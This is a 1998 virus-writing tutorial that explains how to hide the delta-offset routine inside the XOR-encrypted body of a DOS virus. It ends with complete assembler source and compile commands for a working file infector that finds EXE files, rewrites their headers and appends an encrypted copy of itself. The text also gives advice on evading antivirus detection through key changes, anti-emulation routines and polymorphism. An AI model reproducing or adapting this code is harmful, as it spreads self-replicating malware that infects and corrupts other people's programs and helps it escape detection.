Improve Encryption:
How To Encrypt The Delta Offset Routine (PART II)
By: Doxtor L -TI #1-

[Part I]


[Introduction]
 
        Is a introduction is needed? Not sure, dont be lazy and read the
first part ;) Just one thing ...A manner to avoid  to have a delta_offset
routine is to have :
        * Virus beginning at cs:0000

We always can do that. (in exe-file of course)

In what it follows i want to show you an alternative technique.

We want again to have our virus looks like:

[Figure 1]

 This is a first gen file.

        Start:
                jmp crypt_part   ;skip encryption for 1st execution
        Begin_virus:      
                mov si,offset crypt_part
                mov al,key       ;replace key by the number you want
                              ;(0..255) not 0 of course ;) 
                mov cx,end_crypt_part-crypt_part
                call crypt
        Crypt_part:              
                [Virus Body]

        Crypt:
                xor byte ptr [si],al
                inc si
                loop crypt
                ret
            
[Figure 2]

                [...infected file...]

                db beh              ;these 3 bytes means:
        patch:
                dw crypt_part ;mov si,crypt_part
                mov al,key
                mov cx,end_crypt-crypt_part
                call crypt
        crypt_part:
                [....and so on....]

I'm hearing some of my readers thinking: "this routine is screwed, Where is
the compute of delta_offset?"  It is into encrypted part! When virus copy
its body in a new file it needs to put the right value at the "patch" address.
        To do that, knowing the size of file to infect is enough.
            
How to do ?
        I dont want explain here how you have to do for infect an exe-file,
read an other tutorial to learn the basic facts.
        When you want infect an exe-file you have to modify the header of
this file. One thing to modify is the ip and cs (words at offset 14h and 16h
in the header).
        Compute the size of file to infect and substract the size of its
header. Convert this number into "segment:offset" form. I use dx:cx to
contain this number (NB: cx+16*dx=size of file to infect-size of exe-header)
cx<16) Then to put the right value into   "patch" just a thing to do:

        add ax,offset crypt_part-offset begin_virus
        mov word ptr [patch+bp],ax    
            
(if you are thinking use of bp is strange/paradoxal read part I ;)

[Conclusion]
          
        In this article i have tried to explain some easy technique to
improve encryption.

        Of course,if you dont change the key in xor-encryption after every
infection, all this stuff is silly...Scanners have the whole virus to
build a signature.

        An other thing isnt good...put the crypt routine at the end of
virus.The bytes of this routine are FIXED then if you examine the end of an
infected file you can see,just in using a text editor,its infected.Lame no?

        Routine:
                mov al,key
                mov si,offset crypt_part
                mov cx,end_crypt_part-crypt_part
                call crypt
                jmp crypt_part
        crypt:
                [...]
                 ret
       crypt_part:
                [...]

   But doing that you add FIXED bytes in no-encrypted part :( )
                                      
        At last, heuristic scanners can emulate the crypt routine and decrypt
the virus :(  Encryption isnt enough. A good virus needs some
anti-emulation routines.
     
Anyway, some bytes will remain fixed just using encryption routine :(

What is the next step?...Polymorphic engine of course.
   
And dont you think to avoid to put delta_offset routine in no-encrypted
part improve the difficult  to detect virus? Of course i think so ;)
 
[Appendix]
    
   
 This virus was written to illustrate a technique
 not for damage and spread

        * No-tsr encrypted exe-infector
        * Infect all exe-files in current dir
        * Cant change directory
        * Dont save date/time
        * Dont infect windows-exe
        * Anti-lamer routine inside :) 
        * Save DTA
        * All anti-virus detect it (and clean)
        * No volontary destructive routine
 
[Compile]

        tasm/m2 example2.asm
        tlink/t example2.obj


[Code Starts]

code segment
assume cs:code,ds:code,es:code

        Org 100h

Start:                  

        jmp crypt_part    ;skip encryption for first execution
begin_virus:

        mov cx,end_crypt_part-crypt_part
        mov al,10h        ; the key is 10h
          
        db 0beh           ;mov si,?
patch:
        dw ?           
          
        call crypt           

crypt_part:

        call me           ;delta_offset routine ;)
me:
        pop bp
        sub bp,offset me
      
        push cs           ;
        pop ds            ;ds=cs

        mov word ptr [_es+bp],es         ;save current es     
      

        push cs           
        pop es            ;es=cs


        lea si,store+bp   ;prepare for host 
        lea di,old+bp     ;execution 
        movsw
        movsw
        movsw
        movsw

        mov ah,1ah        ;move the DTA 
        lea dx,new_dta+bp
        int 21h
    
        mov ah,4eh
        lea dx,exe_file+bp
        mov cx,7
        int 21h

        jnc open_file
        jmp restore_dta
     
open_file:
        mov ax,3d02h      ;open file found
        lea dx,new_dta+1eh+bp
        int 21h 
     
        xchg ax,bx        ;put file handler into bx

read_file:
            
        mov ah,3fh        ;read the header of 
        mov cx,1ch        ;file found
        lea dx,exe_header+bp
        int 21h   
                     

test1:                    ;real exe-file?
        cmp word ptr [exe_header+bp],'ZM'
        je test3

test2:                    ;real exe-file?
        cmp word ptr [exe_header+bp],'MZ'
        jne get_another 

test3:                    ;infected?

        cmp word ptr [exe_header+12h+bp],'VI'
        je get_another                 

test4:                    ;overlay?

        cmp word ptr [exe_header+26+bp],0
        jne get_another

test5:                    ;windows-exe?

        cmp byte ptr [exe_header+24+bp],40h
        je get_another

save_exe_header:

        mov ax,word ptr [exe_header+bp+0eh]
        mov word ptr [store_ss+bp],ax

        mov ax,word ptr cs:[exe_header+bp+10h]
        mov word ptr [store_sp+bp],ax

        mov ax,word ptr [exe_header+bp+14h]
        mov word ptr [store_ip+bp],ax
                          
        mov ax,word ptr cs:[exe_header+bp+16h]
        mov word ptr [store_cs+bp],ax

go_end:
        mov ax,4202h
        xor cx,cx
        mov dx,cx
        int 21h

        push ax dx

compute_new_csip:

        push ax
        mov ax,word ptr [exe_header+bp+8]                        
        mov cl,4
        shl ax,cl
        mov cx,ax
        pop ax
        sub ax,cx
        sbb dx,0
        mov cl,0ch
        shl dx,cl
        mov cl,4
        push ax
        shr ax,cl
        add dx,ax
        shl ax,cl
        pop cx
        sub cx,ax

        jmp over_there

get_another:

        jmp get_another2

over_there:
change_header:

        mov word ptr [exe_header+bp+14h],cx
        mov word ptr [exe_header+bp+16h],dx
        mov word ptr [exe_header+bp+0eh],dx
        mov word ptr [exe_header+bp+10h],0a00h
        mov word ptr [exe_header+bp+0ah],00a0h
        mov word ptr [exe_header+bp+12h],'VI'

        add cx,offset crypt_part-offset begin_virus
        mov word ptr [patch+bp],cx
        pop dx ax

compute_size:

        add ax,end_virus-begin_virus
        adc dx,0
        mov cx,512
        div cx
        cmp dx,0
        je enough
        inc ax

enough:
        mov word ptr [exe_header+bp+04],ax
        mov word ptr [exe_header+bp+02],dx

write_virus:
        lea si,begin_virus+bp
        lea di,heap+bp
        mov cx,end_virus-begin_virus
        rep movsb
                        
       lea si,(crypt_part-begin_virus+heap)+bp
       mov al,10h
       mov cx,end_crypt_part-crypt_part
       call crypt
                         
       mov cx,end_virus-begin_virus                                           
       mov ah,40h
       lea dx,bp+heap
       int 21h

go_beginning:
       mov ax,4200h
       xor cx,cx
       mov dx,cx
       int 21h

copy_new_header:

       mov ah,40h
       mov cx,1ah
       lea dx,exe_header+bp
       int 21h
                
get_another2:    

       mov ah,3eh
       int 21h
 
       mov ah,4fh
       int 21h

       jc restore_dta
       jmp open_file

restore_dta:    
       mov ax,word ptr [_es+bp]

       push ax
       pop ds

       mov dx,80h
       mov ah,1ah
       int 21h
                         
       push ds
       pop  es
        
       mov ax,es     ;compute cs to execute     
       add ax,10h
       add word ptr cs:[old_cs+bp],ax ;host
                                                         
restore_host_stack:                                        
       cli 
       add ax,word ptr cs:[bp+old_ss]
       mov ss,ax      
       mov sp,word ptr cs:[bp+old_sp]
       sti

go_host:
       db 0eah      ;jmp xx:yy
old:
       old_ip dw 0
       old_cs dw 0
       old_sp dw 0
       old_ss dw 0
store:
       store_ip dw 0
       store_cs dw 0fff0h
       store_sp dw 0
       store_ss dw 0fff0h
                         
       sign  db '(c)DoxtorL./TI July 1998'  
       exe_file  db 'goat*.exe',0   ;Anti-lamer routine :)
          
end_crypt_part:                
crypt:
        xor byte ptr cs:[si],al
        inc si
        loop crypt
        ret
               
end_virus:
        _es dw          ? 
        exe_header db 1ch dup (?)
        new_dta db 43  dup (?)
heap:

code ends
end start

[Code Ends]